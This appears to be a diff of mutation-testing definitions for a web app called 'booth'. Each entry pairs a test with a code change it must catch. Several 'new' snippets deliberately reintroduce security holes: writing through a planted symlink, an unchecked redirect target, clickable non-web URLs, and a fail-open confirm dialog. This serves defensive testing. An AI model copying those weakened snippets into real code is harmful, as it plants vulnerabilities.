test = "tests/test_flow.py::test_one_unreadable_entry_costs_that_entry_not_the_booth"
old = '''pin it in "new" forever.
continue'''
new = '''pin it in "new" forever.
return time.time()'''
[[mutation]]
label = 'C4 a non-web bookmark URL becomes a link'
file = "booth/templates/index.html"
test = "tests/test_flow.py::test_the_desk_never_makes_a_non_web_url_clickable"
old = '''{% set web = e.url.lower().startswith(('http://', 'https://')) %}'''
new = '''{% set web = true %}'''
[[mutation]]
label = 'C4 a non-web bench URL becomes a link'
file = "booth/templates/index.html"
test = "tests/test_flow.py::test_the_desk_never_makes_a_non_web_url_clickable"
old = '''{% set web = b.url.lower().startswith(('http://', 'https://')) %}'''
new = '''{% set web = true %}'''
[[mutation]]
label = 'C5 audio/video tiles lose their review link'
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_a_sound_only_booth_can_open_the_review"
old = '''{% if it.kind in ('video', 'audio') %}<a class="rv-link"'''
new = '''{% if false %}<a class="rv-link"'''
[[mutation]]
label = 'C6 a NUL in ?f escapes as a 500'
file = "booth/app.py"
test = "tests/test_flow.py::test_a_nul_in_the_review_path_is_a_404_not_a_500"
old = ''' except (OSError, ValueError):
# ValueError: an embedded NUL.'''
new = ''' except OSError:
# ValueError: an embedded NUL.'''
[[mutation]]
label = 'C3 client: no busy guard (a double-click writes twice)'
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_an_unsaved_choice_survives_a_save_elsewhere_and_a_double_click_writes_once"
old = ''' if (pending[flightKey(form)]) return;
'''
new = ''''''
[[mutation]]
label = 'C3 client: an unsent radio is not carried across a swap'
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_an_unsaved_choice_survives_a_save_elsewhere_and_a_double_click_writes_once"
old = ''' if (el.checked !== el.defaultChecked) t.checked = el.checked;'''
new = ''''''
[[mutation]]
label = 'C3 client: saves are not serialized'
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_quick_successive_flags_all_show"
old = ''' queue = queue.then(function () { return run(form, data, snap); })'''
new = ''' queue = run(form, data, snap)'''
[[mutation]]
label = 'C3 the standalone marks page has no region'
file = "booth/templates/marks.html"
test = "tests/test_flow_browser.py::test_the_standalone_marks_page_updates_in_place"
old = '''<div class="marks-panel" data-region="marks-panel">'''
new = '''<div class="marks-panel">'''
[[mutation]]
label = "resolver: an entry that cannot be stat'd raises out of booth_items"
file = "booth/items.py"
test = "tests/test_items.py::test_a_folder_that_lists_but_cannot_be_searched_costs_its_files_not_the_index"
old = '''
if not p.is_file():
continue
except OSError:
continue'''
new = '''
if not p.is_file():
continue
except FileNotFoundError:
continue'''
[[mutation]]
label = "the stacked Desk column is a bare 1fr (content sets its minimum)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
old = '''
@media (max-width:1000px){.desk{grid-template-columns:minmax(0,1fr)}}'''
new = '''
@media (max-width:1000px){.desk{grid-template-columns:1fr}}'''
[[mutation]]
label = "a long unbreakable install path in <code> scrolls the page sideways"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
old = '''
padding:1px 6px;border-radius:var(--radius-sm);border:1px solid var(--border-subtle);overflow-wrap:anywhere}'''
new = '''
padding:1px 6px;border-radius:var(--radius-sm);border:1px solid var(--border-subtle)}'''
[[mutation]]
label = "the row's text column cannot shrink (the 700-1000px window overflows)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
old = '''
.desk-main{flex:1 1 auto;min-width:0}'''
new = '''
.desk-main{flex:1 1 auto}'''
[[mutation]]
label = "the wipe dialog shows the agent-made name raw (bidi, newline)"
file = "booth/templates/base.html" # as S5a: the confirm helper moved here from index.html
test = "tests/test_flow_browser.py::test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open"
old = '''
if (!confirm(word(shown(form.getAttribute('data-booth') || '')))) ev.preventDefault();'''
new = '''
if (!confirm(word(form.getAttribute('data-booth') || ''))) ev.preventDefault();'''
[[mutation]]
label = "an unknown data-confirm word submits with no prompt (fail open)"
file = "booth/templates/base.html" # as S5a: the confirm helper moved here from index.html
test = "tests/test_flow_browser.py::test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open"
old = '''
var word = WORDS[form.getAttribute('data-confirm')] || ASK;
if (!confirm('''
new = '''
var word = WORDS[form.getAttribute('data-confirm')];
if (word && !confirm('''
[[mutation]]
label = "everything else in activity order again (a look moves a booth up)"
file = "booth/app.py"
test = "tests/test_flow.py::test_everything_else_is_ordered_by_last_update_not_by_looking"
old = '''
rest.sort(key=lambda b: (-b["landed_at"], b["name"]))'''
new = '''
pass'''
[[mutation]]
label = "everything else breaks an update tie by name reversed"
file = "booth/app.py"
test = "tests/test_flow.py::test_everything_else_breaks_an_update_tie_by_name"
old = '''
rest.sort(key=lambda b: (-b["landed_at"], b["name"]))'''
new = '''
rest.sort(key=lambda b: (b["landed_at"], b["name"]), reverse=True)'''
+110
View File
@@ -0,0 +1,110 @@
# R2 C3 step 3a, 2026-09-27: one submit saves every changed pick on a Booth
# page (the marks page, the lightbox's verdict aside, the review rail). The
# Booth-page half of the operator's report; the verbatim half is
# u3_submit_all.toml. Contract: docs/contracts/r2_flow.contract.md, C3 step 3a.
# The flight-window and refusal rows came from the heid bug-hunt panel on the
# first cut.
unit = "r2 submit all"
[[mutation]]
label = "the other pick forms are ignored (one form, one save, as before)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_one_submit_on_the_marks_page_saves_every_changed_pick"
old = '''
var batch = pickBatch(form);'''
new = '''
var batch = null;'''
[[mutation]]
label = "the pressed pick is sent even when blank (its 400 reloads the rest away)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_pressing_a_blank_picks_submit_saves_the_others_and_skips_it"
old = '''
return others ? picks.filter(function (f) { return dirty(f) && !pending[flightKey(f)]; }) : null;'''
new = '''
return others ? picks.filter(function (f) { return (f === form || dirty(f)) && !pending[flightKey(f)]; }) : null;'''
[[mutation]]
label = "a refusal stops the picks after it"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_refused_pick_in_a_batch_costs_only_itself_and_clears_nothing"
old = '''
return post(f, datas[i]).then(function () {'''
new = '''
if (refused.length) return;
return post(f, datas[i]).then(function () {'''
[[mutation]]
label = "a refused batch reloads (the refused pick and every draft are lost)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_refused_pick_in_a_batch_costs_only_itself_and_clears_nothing"
old = '''
var shown = saved.length ? refresh(saved, true) : Promise.resolve(true);'''
new = '''
if (refused.length) { fail(); return; }
var shown = saved.length ? refresh(saved, true) : Promise.resolve(true);'''
[[mutation]]
label = "a refused pick counts as sent, so its input comes back as the server has it"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_refused_pick_in_a_batch_costs_only_itself_and_clears_nothing"
old = '''
}, function (e) { refused.push(askOf(f) + ' (' + e.message + ')'); });'''
new = '''
}, function (e) { saved.push({key: flightKey(f), snap: snaps[i]}); refused.push(askOf(f) + ' (' + e.message + ')'); });'''
[[mutation]]
label = "a form in flight stops counting as another dirty form (a clean press 400s mid-save)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_pressing_a_clean_pick_during_a_batch_sends_nothing"
old = '''
return f.getAttribute('action') === action && isPick(f);'''
new = '''
return f.getAttribute('action') === action && isPick(f) && !pending[flightKey(f)];'''
[[mutation]]
label = "in flight is marked on the node, so a swap's fresh copy can be sent twice"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_pick_in_flight_stays_in_flight_across_another_saves_swap"
old = '''
function flightKey(f) { return formKey(f); }'''
new = '''
var nth = 0;
function flightKey(f) { return f.__fk || (f.__fk = 'n' + (++nth)); }'''
[[mutation]]
label = "a new save does not clear the last one's words"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_later_save_clears_a_stale_not_saved_line"
old = '''
st.textContent = text;'''
new = '''
if (!st.textContent) st.textContent = text;'''
[[mutation]]
label = "a batch whose refresh fails reloads (every unsent draft with it)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_batch_whose_refresh_fails_keeps_the_page"
old = '''
var shown = saved.length ? refresh(saved, true) : Promise.resolve(true);'''
new = '''
var shown = saved.length ? refresh(saved, true).catch(function (e) { reload(); throw e; }) : Promise.resolve(true);'''
[[mutation]]
label = "a sent form counts as sent even when it changed after the press"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_change_to_a_sent_pick_during_the_flight_is_kept"
old = '''
if (recs[i].key === k && recs[i].snap === serial(f)) return true;'''
new = '''
if (recs[i].key === k) return true;'''
[[mutation]]
label = "no form counts as sent (a saved note's text carries back as a draft)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_saved_notes_box_comes_back_empty"
old = '''
if (recs[i].key === k && recs[i].snap === serial(f)) return true;'''
new = '''
if (false) return true;'''
+560
View File
@@ -0,0 +1,560 @@
# R2b — the Desk row, Reveal all, the theme toggle: every falsifier the
# contract claims (docs/contracts/r2b_desk_reveal_theme.contract.md), and the
# change each forbids. Merge 1 is D2 + D2b (the blur half); merge 2 adds D1 + D3.
unit = "reveal all, the booth blur toggle (merge 1)"
[[mutation]]
label = "D2 reveal all does not lift the tile's blur"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page"
old = '''
.reveal-all .item.blurred img,.reveal-all .item.blurred video,'''
new = '''
.reveal-all-OFF .item.blurred img,.reveal-all .item.blurred video,'''
[[mutation]]
label = "D2 no pre-paint re-application: the next page of the reel is blurred again"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page"
old = '''
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
new = '''
if (false) d.classList.add('reveal-all');'''
[[mutation]]
label = "D2 the reveal is not scoped to the booth (any reveal in the tab reveals every booth)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_on_booth_a_does_not_reveal_booth_b_or_the_desk"
old = '''
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
new = '''
if (b !== null && sessionStorage.length > 0) d.classList.add('reveal-all');'''
[[mutation]]
label = "D2 per-tile reveal buttons do not stand down under reveal all"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_survives_an_in_place_save"
old = '''
.reveal-all .item.blurred .reveal,.reveal-all #vreveal{display:none}'''
new = '''
.reveal-all-OFF .item.blurred .reveal,.reveal-all #vreveal{display:none}'''
[[mutation]]
label = "D2 blur again wipes each item's own reveal"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_blur_again_restores_each_items_own_reveal"
old = '''
var on = d.classList.toggle('reveal-all');
try {'''
new = '''
var on = d.classList.toggle('reveal-all');
document.querySelectorAll('.item.revealed').forEach(function (i) { i.classList.remove('revealed'); });
try {'''
[[mutation]]
label = "D2 a storage write that throws swallows the click"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
old = '''
var on = d.classList.toggle('reveal-all');
try {'''
new = '''
sessionStorage.setItem(key, '1');
var on = d.classList.toggle('reveal-all');
try {'''
[[mutation]]
label = "D2 the control shows without JS (server markup not hidden)"
file = "booth/templates/booth.html"
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
old = '''
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title='''
new = '''
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all title='''
[[mutation]]
label = "D2 the control is markup even when nothing is blurred"
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_reveal_all_is_in_the_markup_only_when_something_is_blurred_and_always_hidden"
old = '''
{% if all_items | selectattr('blurred') | list %}<button'''
new = '''
{% if true %}<button'''
[[mutation]]
label = "D2 the review page does not carry data-booth"
file = "booth/templates/view.html"
test = "tests/test_flow.py::test_reveal_all_is_in_the_markup_only_when_something_is_blurred_and_always_hidden"
old = '''
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}'''
new = '''
{% block html_attrs %}{% endblock %}'''
[[mutation]]
label = "D2b the header control's label does not follow the server's fog state"
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
old = '''
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
<button title="{{ 'un-blur the whole booth'''
new = '''
<input type="hidden" name="on" value="1">
<button title="{{ 'un-blur the whole booth'''
[[mutation]]
label = "D2b the review's control drops `back` (fogging ejects you from the review)"
file = "booth/templates/view.html"
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
old = '''
<input type="hidden" name="back" value="{{ file }}">'''
new = '''
'''
[[mutation]]
label = "D2b the Desk row does not say a booth is fogged"
file = "booth/templates/index.html"
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
old = '''
{% if b.booth_blurred %}<span class="badge badge-blur"'''
new = '''
{% if false %}<span class="badge badge-blur"'''
[[mutation]]
label = "D2b an item blurred only by the booth offers a per-item un-blur that does nothing"
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_under_a_fogged_booth_each_items_blur_control_tells_the_truth"
old = '''
{% if it.blurred and not it.blurred_self %}'''
new = '''
{% if false %}'''
[[mutation]]
label = "D2b the per-item control reads the composed blur, not the item's own"
file = "booth/app.py"
test = "tests/test_flow.py::test_under_a_fogged_booth_each_items_blur_control_tells_the_truth"
old = '''
"blurred_self": it.blurred_self,'''
new = '''
"blurred_self": it.blurred,'''
# ---- folds: the heid code-review ("BLITZ-2") and bug-hunt ("FENRIR-6") panels on merge 1
[[mutation]]
label = "a board holding files loses the blur controls its labels point at"
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_a_board_with_files_gets_the_blur_controls_its_labels_point_at"
old = '''
{% if all_items %}
{# The fog form IS a region'''
new = '''
{% if not board %}
{# The fog form IS a region'''
[[mutation]]
label = "a blurred doc's own page renders clear"
file = "booth/templates/doc.html"
test = "tests/test_flow.py::test_a_blurred_docs_own_page_is_blurred_too"
old = '''
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">'''
new = '''
<div class="docbody" id="docbody">'''
[[mutation]]
label = "the review offers Reveal all when only a doc (off the ring) is blurred"
file = "booth/templates/view.html"
test = "tests/test_flow.py::test_reveal_all_renders_where_it_can_act"
old = '''
{% if film | selectattr('blurred') | list %}<button'''
new = '''
{% if true %}<button'''
[[mutation]]
label = "the fog form is a GET (changes nothing with scripts off)"
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
old = '''<form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
<button title="{{ 'un-blur the whole booth — per-item'''
new = '''<form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="get" action="/b/{{ name_url }}/blurbooth">
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
<button title="{{ 'un-blur the whole booth — per-item'''
[[mutation]]
label = "the swap stops carrying an item's own reveal"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_an_items_own_reveal_survives_an_in_place_save"
old = '''
['revealed', 'is-closed'].forEach(function (c) {'''
new = '''
['is-closed'].forEach(function (c) {'''
[[mutation]]
label = "a storage READ that throws raises out of the pre-paint script"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
old = '''
try {
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');
} catch (e) {}'''
new = '''
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
[[mutation]]
label = "fogging writes through a planted marker link"
file = "booth/app.py"
test = "tests/test_flow.py::test_fogging_never_writes_through_a_planted_marker_link"
old = '''
try:
os.lstat(marker)
return True
except FileNotFoundError:
pass
try:
os.close(os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o644))
except FileExistsError:
pass # lost a race to another fog: still fogged
return True'''
new = '''
marker.touch(exist_ok=True)
return True'''
[[mutation]]
label = "the fog landing echoes `back` unchecked"
file = "booth/app.py"
test = "tests/test_flow.py::test_the_fog_landing_is_built_from_the_ring_never_echoed"
old = '''
if back and back in review_chain(booth_items(booth)):'''
new = '''
if back:'''
[[mutation]]
label = "the fog form is outside every region (a swap leaves its label stale)"
file = "booth/templates/booth.html"
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
old = '''
<span class="region-wrap" data-region="blur-booth"><form class="blur-all'''
new = '''
<span class="region-wrap"><form class="blur-all'''
[[mutation]]
label = "Space on a focused review button moves to the next item"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_space_on_a_focused_review_button_presses_it_and_does_not_move_on"
old = '''e.target !== player && !(e.target.closest && e.target.closest('button, a, summary'))) {'''
new = '''e.target !== player) {'''
[[mutation]]
label = "the top-bar controls squeeze into multi-line stacks at phone width"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_review_and_doc_top_bars_fit_a_phone"
# r3 re-anchored this row. r3 added a Compare control to the review's bar and
# made a full bar WRAP at phone width (a fogged booth already overflowed it by
# 3px at 390). A wrapping bar never squeezes, so removing the no-wrap rules
# alone went VACUOUS: the property is now held by both. The defeating change is
# losing both; r3.toml rows the wrap on its own.
old = '''
.blur-all button,.reveal-all-btn{white-space:nowrap}
@media (max-width:600px){.reveal-all-btn .ra-note{display:none}}
/* R3: the review's Compare control keeps only its glyph at phone width; its
title still says what it does (and C does it). */
@media (max-width:600px){.vcompare-l{display:none}}
/* ...and at phone width a top bar that cannot hold its controls WRAPS rather
than scrolling the page sideways. The review's bar was full before R3 (a
fogged booth overflowed it by 3px at 390); compare's bar holds more. */
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
new = '''
@media (max-width:600px){.vcompare-l{display:none}}'''
[[mutation]]
label = "the Desk strip under another booth's reveal is lifted by a whisker (blur(0px) is not blurred)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_reveal_all_on_booth_a_does_not_reveal_booth_b_or_the_desk"
old = '''
.blurred-thumb{filter:blur(16px)}'''
new = '''
.blurred-thumb{filter:blur(0px)}'''
# ---- the flake: the test browser has no internet (positive control per file)
[[mutation]]
label = "the flow test browser can reach the internet (Google Fonts can stall networkidle)"
file = "tests/test_flow_browser.py"
test = "tests/test_flow_browser.py::test_the_test_browser_has_no_internet"
old = '''
b = pw.chromium.launch(args=OFFLINE)'''
new = '''
b = pw.chromium.launch()'''
[[mutation]]
label = "the embed test browser can reach the internet"
file = "tests/test_embed_browser.py"
test = "tests/test_embed_browser.py::test_the_test_browser_has_no_internet"
old = '''
b = pw.chromium.launch(args=OFFLINE)'''
new = '''
b = pw.chromium.launch()'''
# ---- merge 2: D1 the Desk row, D1b dates, D3 the theme toggle
# Successors to the four r2_flow rows retired for D1. One branch is proved by
# reading, not here: a true touch LAPTOP (fine pointer + a coarse one) cannot be
# emulated — Chromium's touch emulation makes the primary pointer coarse.
[[mutation]]
label = "D1 the cluster is visible at rest"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
old = '''
opacity:0;pointer-events:none;transition:opacity var(--dur-1) var(--ease-out)}'''
new = '''
opacity:1;pointer-events:none;transition:opacity var(--dur-1) var(--ease-out)}'''
[[mutation]]
label = "D1 hover shows the cluster but leaves it unclickable"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
old = '''
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1;pointer-events:auto}'''
new = '''
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1}'''
[[mutation]]
label = "D1 the cluster stays in flow where a hover exists (it takes room)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
old = '''
.desk-acts{position:absolute;top:17px;left:calc(12px + 210px - 5px);transform:translateX(-100%);flex:none;gap:4px;padding:3px;'''
new = '''
.desk-acts{position:static;top:17px;left:calc(12px + 210px - 5px);transform:translateX(-100%);flex:none;gap:4px;padding:3px;'''
[[mutation]]
label = "D1 hover-only everywhere (no controls at all on touch)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px"
old = '''
.desk-acts{flex:1 0 100%;display:flex;flex-wrap:wrap;align-items:center;gap:6px}'''
new = '''
.desk-acts{flex:1 0 100%;display:flex;flex-wrap:wrap;align-items:center;gap:6px;opacity:0}'''
[[mutation]]
label = "D1 touch controls fall below the 28px floor"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px"
old = '''
min-height:32px;min-width:32px;padding:0 10px;font-family:var(--font-mono);font-size:var(--size-caption);'''
new = '''
min-height:18px;min-width:18px;padding:0 10px;font-family:var(--font-mono);font-size:var(--size-caption);'''
[[mutation]]
label = "D1 zip back in the middle"
file = "booth/templates/index.html"
test = "tests/test_flow_browser.py::test_the_row_controls_run_zip_keep_or_release_then_wipe"
old = '''
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
{%- if b.kept %}
<form class="release"'''
new = '''
{%- if b.kept %}
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
<form class="release"'''
[[mutation]]
label = "D1 a held booth's pill reads as counting down"
file = "booth/templates/index.html"
test = "tests/test_flow.py::test_the_lifetime_pill_class_is_kept_held_or_counting"
old = '''('life-held' if b.hold in ('open', 'unreadable') else 'life-count')'''
new = '''('life-held' if b.hold == 'never' else 'life-count')'''
[[mutation]]
label = "D1b an unknown birth time renders a guess"
file = "booth/templates/_dates.html"
test = "tests/test_flow.py::test_created_and_updated_are_dated_facts_and_none_says_nothing"
old = '''{% macro dates(created_at, landed_at, now) -%}'''
new = '''{% macro dates(created_at, landed_at, now) -%}{%- set created_at = created_at or landed_at -%}'''
[[mutation]]
label = "D1b updated is measured from the wrong clock"
file = "booth/templates/_dates.html"
test = "tests/test_flow.py::test_created_and_updated_are_dated_facts_and_none_says_nothing"
old = '''updated {{ age|ago }}'''
new = '''updated {{ (now - created_at)|ago }}'''
[[mutation]]
label = "D3 a stored theme is not applied at load (a reload forgets it)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
old = '''
if (t === 'light' || t === 'dark') d.setAttribute('data-theme', t);'''
new = '''
if (false) d.setAttribute('data-theme', t);'''
[[mutation]]
label = "D3 System snapshots the OS instead of following it live"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
old = '''
if (c === 'system') d.removeAttribute('data-theme'); else d.setAttribute('data-theme', c);'''
new = '''
if (c === 'system') d.setAttribute('data-theme', matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark'); else d.setAttribute('data-theme', c);'''
[[mutation]]
label = "D3 forced light is not in the sheet"
file = "booth/templates/_svos_tokens.css"
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
old = '''
:root[data-theme="light"] {'''
new = '''
:root[data-theme="light-OFF"] {'''
[[mutation]]
label = "D3 the toggle shows without JS (display beats [hidden])"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_theme_toggle_never_shows_without_js_and_a_storage_failure_still_applies"
old = '''
.theme[hidden]{display:none}'''
new = '''
'''
[[mutation]]
label = "D3 a storage write that throws swallows the choice"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_theme_toggle_never_shows_without_js_and_a_storage_failure_still_applies"
old = '''
var c = b.getAttribute('data-theme-choice');
if (c === 'system')'''
new = '''
var c = b.getAttribute('data-theme-choice');
localStorage.setItem('booth.theme', c);
if (c === 'system')'''
[[mutation]]
label = "D3 a stylesheet precedes the stored-theme script (a flash)"
file = "booth/templates/base.html"
test = "tests/test_flow.py::test_a_forced_theme_is_applied_before_first_paint"
old = '''
<script>
(function () {
var d = document.documentElement, b = d.getAttribute('data-booth');'''
new = '''
<style></style>
<script>
(function () {
var d = document.documentElement, b = d.getAttribute('data-booth');'''
[[mutation]]
label = "D3 the ask chrome in a verbatim page ignores the choice"
file = "booth/static/embed.js"
test = "tests/test_flow_browser.py::test_a_forced_theme_reaches_the_ask_chrome_inside_a_verbatim_page"
old = '''
bkTheme();
reassociate();'''
new = '''
reassociate();'''
[[mutation]]
label = "D3 the ask chrome does not follow a choice made in another tab"
file = "booth/static/embed.js"
test = "tests/test_flow_browser.py::test_a_forced_theme_reaches_the_ask_chrome_inside_a_verbatim_page"
old = '''
if (e.key === "booth.theme" || e.key === null) bkTheme();'''
new = '''
if (false) bkTheme();'''
# ---- merge-2 folds: heid bug-hunt ("GORE-7") and code-review ("STAGGER-3")
# Not expressible as one replacement, so pinned by their tests directly: the
# row's DOM tab order (read in order by the test), and a declaration dropped
# from BOTH light copies (the expected set is now written from SVOS, not
# derived from the copies).
[[mutation]]
label = "a date the calendar cannot hold raises through the Desk"
file = "booth/app.py"
test = "tests/test_flow.py::test_a_date_no_calendar_can_hold_renders_nothing_and_never_500s"
old = '''
_BAD_DATE = (OverflowError, OSError, ValueError)'''
new = '''
_BAD_DATE = ()'''
[[mutation]]
label = "updated is dropped for content older than its booth (one-sided gap)"
file = "booth/templates/_dates.html"
test = "tests/test_flow.py::test_updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date"
old = '''(landed_at - created_at)|abs >= 60'''
new = '''(landed_at - created_at) >= 60'''
[[mutation]]
label = "a content clock ahead of now reads as an age"
file = "booth/templates/_dates.html"
test = "tests/test_flow.py::test_updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date"
old = '''{%- if age < -60 %}'''
new = '''{%- if false %}'''
[[mutation]]
label = "hours run on to 47h (1d ago never appears)"
file = "booth/app.py"
test = "tests/test_flow.py::test_an_age_is_said_in_its_largest_whole_unit"
old = '''
if s < 86400:
return f"{s // 3600}h ago"'''
new = '''
if s < 2 * 86400:
return f"{s // 3600}h ago"'''
[[mutation]]
label = "a theme chosen in one tab does not reach the Booth's other open tabs"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_a_theme_chosen_in_one_tab_moves_the_others"
old = '''
if (e.key !== 'booth.theme' && e.key !== null) return;
var t = null;'''
new = '''
return;
var t = null;'''
[[mutation]]
label = "the theme mark reaches the author's own .bk-ask"
file = "booth/static/embed.js"
test = "tests/test_flow_browser.py::test_the_theme_marks_only_the_ask_fragments_we_mounted"
old = '''
ours.forEach(function (root) {'''
new = '''
[document.body].forEach(function (root) {'''
[[mutation]]
label = "keyboard focus no longer reveals the row's controls"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_pill_shows_at_rest_and_focus_reveals_the_controls"
old = '''
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1;pointer-events:auto}'''
new = '''
.desk-row:hover .desk-acts{opacity:1;pointer-events:auto}'''
[[mutation]]
label = "the lifetime pill hides at rest"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_pill_shows_at_rest_and_focus_reveals_the_controls"
old = '''
.life-count::before{content:"◷"}'''
new = '''
.life-count::before{content:"◷"}
.life{opacity:0}'''
[[mutation]]
label = "high contrast never applies (dark-hc block gone)"
file = "booth/templates/_svos_tokens.css"
test = "tests/test_flow_browser.py::test_a_forced_theme_follows_high_contrast"
old = '''
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
@media (prefers-contrast: more) {'''
new = '''
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
@media (prefers-contrast: less) {'''
[[mutation]]
label = "Reveal all does not reach a blurred doc's own page"
file = "booth/templates/doc.html"
test = "tests/test_flow_browser.py::test_reveal_all_lifts_the_doc_page_it_reaches"
old = '''
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}'''
new = '''
.reveal-all-OFF .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}'''
+359
View File
@@ -0,0 +1,359 @@
# R2c — the review stage: every falsifier the contract claims
# (docs/contracts/r2c_review_stage.contract.md), and the change each forbids.
#
# r3 moved the stage machinery (the mode toggle, the storage listener, pannable
# and drag-pan) out of view.html into the shared _stage_js.html (r3 C4). The 15
# rows that anchor there were RE-POINTED, not rewritten: same test, same
# defeating change, in the code's new home, and every one re-proved after the
# move. The arrows (place, drawn, view's ResizeObserver) stayed in view.html,
# and so did their rows.
unit = "the review stage: fit / 1:1, the arrows at the picture, drag-pan"
[[mutation]]
label = "S1 Fit never enlarges (the old max-width/max-height cap)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
old = '''
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
new = '''
.vstage.is-img img{width:auto;height:auto;max-width:100%;max-height:100%;object-fit:contain;'''
